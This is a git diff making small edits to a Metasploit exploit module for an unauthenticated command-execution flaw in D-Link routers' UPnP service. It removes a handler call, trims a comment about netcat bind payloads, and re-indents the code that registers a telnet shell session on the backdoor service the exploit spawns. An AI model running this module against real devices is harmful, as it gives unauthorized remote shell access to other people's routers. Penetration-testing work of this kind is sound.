diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index a053d2c346..e116a9df03 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'unix' } ], - [ 'Telnet', #all devices, use a netcat bind payload for getting a valid session + [ 'Telnet', #all devices { 'Arch' => ARCH_CMD, 'Platform' => 'unix' @@ -144,7 +144,6 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - handler downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) new_portmapping_description = rand_text_alpha(8) @@ -221,21 +220,21 @@ class Metasploit3 < Msf::Exploit::Remote } #taken from ./lib/msf/core/auxiliary/commandshell.rb info = "TELNET (#{rhost}:#{telnetport})" - sess = Msf::Sessions::CommandShell.new(sock) + sess = Msf::Sessions::CommandShell.new(sock) sess.set_from_exploit(self) - sess.info = info + sess.info = info - # Clean up the stored data - sess.exploit_datastore.merge!(merge_me) + # Clean up the stored data + sess.exploit_datastore.merge!(merge_me) - # Prevent the socket from being closed - self.sockets.delete(sock) - self.sock = nil if self.respond_to? :sock + # Prevent the socket from being closed + self.sockets.delete(sock) + self.sock = nil if self.respond_to? :sock - framework.sessions.register(sess) - sess.process_autoruns(datastore) + framework.sessions.register(sess) + sess.process_autoruns(datastore) - sess + sess rescue print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end